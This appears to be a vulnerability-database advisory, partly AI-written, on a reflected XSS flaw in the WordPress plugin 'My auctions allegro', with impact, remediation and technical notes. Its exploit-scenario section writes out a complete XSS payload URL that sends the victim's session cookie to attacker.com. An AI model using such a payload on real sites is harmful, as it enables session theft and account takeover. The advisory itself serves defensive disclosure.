MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | WordPress plugin 'My auctions allegro' versions <= 3.6.35. Remote attacker crafts malicious URL with unescaped input. Victim must click the link. No authentication required. Default WordPress installations vulnerable. |
| Impact | While a CVSS score and EPSS probability score are not available, the vulnerability represents a moderate-to-high real-world risk based on contextual factors. Reflected XSS vulnerabilities typically have low attack complexity and require no authentication or user privileges beyond social engineering the victim into clicking a malicious link—factors that would normally classify this as high-impact if CVSS were calculated. The absence of a KEV/CISA listing and publicly available proof-of-concept code reduces immediate exploitation likelihood, though Patchstack's discovery and public documentation increase discoverability by malicious actors. The affected product is a free WordPress plugin, suggesting potentially broad installation base but likely lower security posture on affected sites. Absence of patch information raises concerns about remediation availability. Organizations using this plugin should prioritize assessment and either upgrade immediately upon patch availability or implement input validation workarounds. |
| Exploit ScenarioDerived | An attacker sends a phishing email or posts a malicious link on social media targeting WordPress administrators or users of sites running the vulnerable plugin, crafted as follows: 'http://vulnerable-site.com/?param=<script>fetch("http://attacker.com/steal?cookie="+document.cookie)</script>'. When a victim clicks the link and the vulnerable plugin reflects this unsanitized input into the page HTML without encoding, the JavaScript executes in their browser, exfiltrating their WordPress session cookie to the attacker's server, enabling session hijacking and account takeover without requiring any special user interaction beyond clicking the link. |

Alert meAnalysisAIv1 – Mar 25, 2026
A Reflected Cross-Site Scripting (XSS) vulnerability exists in the WordPress plugin 'My auctions allegro' (free edition) through version 3.6.35, allowing attackers to inject malicious scripts into web pages viewed by victims. An unauthenticated attacker can craft a malicious URL containing JavaScript code that executes in the victim's browser when clicked, potentially stealing session cookies, redirecting users, or performing actions on behalf of the user. No CVSS score, EPSS score, or KEV status has been assigned, and patch availability status is unclear, though the vulnerability was identified and reported by Patchstack security researchers.
RemediationAI
Immediately upgrade the 'My auctions allegro' plugin to a version later than 3.6.35 if a patched version has been released by wphocus; check the WordPress plugin repository or vendor advisory via Patchstack for the latest secure version. If no patched version is available, consider temporarily deactivating the plugin until a security update is released, or review alternative Allegro marketplace integration plugins. As an interim mitigation, implement a Web Application Firewall (WAF) rule to detect and block common XSS injection patterns in URL parameters, enforce Content Security Policy (CSP) headers to restrict inline script execution, and educate users not to click untrusted links to your WordPress site. Monitor the Patchstack vulnerability database and the wphocus vendor channels for patch announcements at https://patchstack.com/.

Technical ContextAI · show details
The vulnerability is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation), which occurs when user-supplied input is not properly sanitized or encoded before being reflected back in HTML responses. The affected product is the WordPress plugin 'My auctions allegro' (CPE: cpe:2.3:a:wphocus:my_auctions_allegro:*:*:*:*:*:*:*:*) developed by wphocus, which integrates the Allegro marketplace with WordPress. The vulnerability manifests as a Reflected XSS flaw, meaning the malicious payload is passed via URL parameters and immediately reflected in the HTTP response without validation or HTML entity encoding, allowing script execution in the victim's browser context within the origin of the WordPress site.
